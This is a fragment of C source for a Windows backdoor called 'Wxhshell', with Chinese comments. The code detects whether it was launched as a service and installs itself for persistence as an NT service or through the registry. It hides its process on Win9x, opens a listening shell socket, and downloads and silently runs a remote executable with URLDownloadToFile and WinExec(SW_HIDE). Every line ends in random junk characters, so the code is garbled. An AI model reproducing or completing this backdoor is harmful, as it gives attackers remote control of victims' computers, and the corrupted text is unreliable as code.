DWORD PebBaseAddress; !"\80LP
DWORD AffinityMask; J[4mLU
DWORD BasePriority; i70wrW#k
ULONG UniqueProcessId; ]=>F.GE
ULONG InheritedFromUniqueProcessId; .
koYHq
} PROCESS_BASIC_INFORMATION; \'|>p/5I
mGJasn
PROCNTQSIP NtQueryInformationProcess; i(>4wK!!
^-,xE>3o
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y#q?A,C@n
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b)=[1g/=L
Kjs.L!W
HANDLE hProcess; MM(xk
PROCESS_BASIC_INFORMATION pbi; X4 A<[&F/
q U]gj@R
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kzt(i Y_6
if(NULL == hInst ) return 0; <})2#sZO!
w-Da~[J
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vTJ}8
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %k'!Iq+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c.>oe*+
:TJv=T'p'
if (!NtQueryInformationProcess) return 0; 0cJWJOj&
yuat" Pg
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R}q>O5O
if(!hProcess) return 0; r\/9X}y4z
UFp,a0|
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oxz OA
0@H|n^Md#
CloseHandle(hProcess); |j#C|V%kV
1 D<_N
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J"=vE=
if(hProcess==NULL) return 0; ^yyC
[Mz
wtH?
[>S;)
HMODULE hMod; (2:/8\_P
char procName[255]; `bZ/haU}A
unsigned long cbNeeded; kw"SwdP5
>g+?Oebgw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y#u}tE
d
%<an9WMF
CloseHandle(hProcess); *Df,Ijh $
\E%'Y
if(strstr(procName,"services")) return 1; // 以服务启动 r=X}%~_8X
qoj$]
return 0; // 注册表启动 S"OR%
} rdJ d#S
XT@-$%u
// 主模块 ?<(m
5Al7
int StartWxhshell(LPSTR lpCmdLine) [^U#Qj)hL
{ d5D$&5Ec
SOCKET wsl; n&-qaoNl
BOOL val=TRUE; 3b+d"`Y^S
int port=0; 9Hc$G{[a
struct sockaddr_in door; $!8-? ?ML
PDrZY.-
if(wscfg.ws_autoins) Install(); =gJb^
Gx(w
,'p2v)p^4
port=atoi(lpCmdLine); \H=&`?
ML(
Eo
if(port<=0) port=wscfg.ws_port; L:1^Kxg
MD|5 ol9
WSADATA data; ;S57w1PbVA
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &:, dJ
jF=gr$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1DvR[Lx%
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {`K m_<Te!
door.sin_family = AF_INET; QrYpZZ;
door.sin_addr.s_addr = inet_addr("127.0.0.1"); o[cV1G
door.sin_port = htons(port); pBETA'fY
JWMpPzs
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a^=-Mp
closesocket(wsl); 3WUTI(
return 1; yjhf
} :&:JTa1cv
TW[_Ko86
if(listen(wsl,2) == INVALID_SOCKET) { ?)`L$Vr=
closesocket(wsl); 5lm<%
return 1; d"6&AJ5a
} c2e
tc8
Wxhshell(wsl); ?zQA
WSACleanup(); K9OYri^TQ
M
$Es%
return 0; .8P.)%
JvT"bZk(o
} }(1JaG
~fT_8z
// 以NT服务方式启动 m<0&~rg
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uwjGDw
{ `kU/NKq
DWORD status = 0; \U[{z&]~
DWORD specificError = 0xfffffff; Dg}
Ka7H
69J4=5lX
serviceStatus.dwServiceType = SERVICE_WIN32; hNd}Y'%V
serviceStatus.dwCurrentState = SERVICE_START_PENDING; lhw()u
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /yZQ\ {=
serviceStatus.dwWin32ExitCode = 0; JXu$ew>q
serviceStatus.dwServiceSpecificExitCode = 0; w\DVzeW(
serviceStatus.dwCheckPoint = 0; SL;9Q[
serviceStatus.dwWaitHint = 0; ~d6DD;`K
"Q?k'^@
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l"2OP6d
if (hServiceStatusHandle==0) return; `g6h9GC6
Ygl%eP%Z
status = GetLastError(); l?Fb ='#
if (status!=NO_ERROR) @)-$kk*
{ y^}6!>Ou:
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5<ux6,E1{
serviceStatus.dwCheckPoint = 0; j'BMAn ?
serviceStatus.dwWaitHint = 0; ##EYH1P]
serviceStatus.dwWin32ExitCode = status; hYM@?/(q
serviceStatus.dwServiceSpecificExitCode = specificError; Xa[?^P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dVFf.
return; ODC8D>ZYl
} tX"Th'Qi
yZ7,QsEsN
serviceStatus.dwCurrentState = SERVICE_RUNNING; Hf vTxaK
serviceStatus.dwCheckPoint = 0; Ie4 hhW
serviceStatus.dwWaitHint = 0; HjGyj/78w
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K"[AxB'F
} 9>g,
W"k8KODOY
// 处理NT服务事件,比如:启动、停止 Ce")[<:
VOID WINAPI NTServiceHandler(DWORD fdwControl) y;AL'vm9
{ H03jDM8Q
switch(fdwControl) &ZX{R#[L
{ %B)6$!x
case SERVICE_CONTROL_STOP: =n'
4?W@
serviceStatus.dwWin32ExitCode = 0; ^-[ ?#]
serviceStatus.dwCurrentState = SERVICE_STOPPED; gW1b~(
fD
serviceStatus.dwCheckPoint = 0; %0mMz.f
serviceStatus.dwWaitHint = 0; [_.5RPJP8
{ mUz\ra;z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K
a(J52
} #~.w&~:
return; !Wy[).ZAf
case SERVICE_CONTROL_PAUSE: O=dJi9;`#_
serviceStatus.dwCurrentState = SERVICE_PAUSED; A6pjRxg
break; y:vxE8$Q
case SERVICE_CONTROL_CONTINUE: Wf&W^Q
serviceStatus.dwCurrentState = SERVICE_RUNNING; BZXUwqEh
break; =T7A]U]
case SERVICE_CONTROL_INTERROGATE: yT#{UA^
break; (Gw,2-A
}; }Iz7l{al
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _+^ 2^TW
} S9>0t0
wu4NLgkE
// 标准应用程序主函数 NSFs\a@1
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~~6^Sh60g
{ yGsz2T;w
B-T/V-c7
// 获取操作系统版本 _"#!e{N|
OsIsNt=GetOsVer(); V2<?ol
GetModuleFileName(NULL,ExeFile,MAX_PATH); \#>T~.Y7K
^+1#[E
// 从命令行安装 Q26qNn
bK
if(strpbrk(lpCmdLine,"iI")) Install(); His*t1o8'O
'D%w|Pe?Q
// 下载执行文件 M!tXN&V]
if(wscfg.ws_downexe) { A?oXqb
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !Y:0c#MPH
WinExec(wscfg.ws_filenam,SW_HIDE); -Z?Vd!H:
} bQZ*r{g
QZ?=M@|f
if(!OsIsNt) { W.1As{
// 如果时win9x,隐藏进程并且设置为注册表启动 4#'("#R
HideProc(); *k1<:
@%e
StartWxhshell(lpCmdLine); a !mf;m
} A;O~#Chvd
else iK IOh('G
if(StartFromService()) 03iv3/{H
// 以服务方式启动 Zxb_K
StartServiceCtrlDispatcher(DispatchTable); fI7j):h;
else |P.6<
// 普通方式启动 .<K
iMh
StartWxhshell(lpCmdLine); k,uK6$Z
q;:6_Qr
return 0; B:\Uw|Mf
}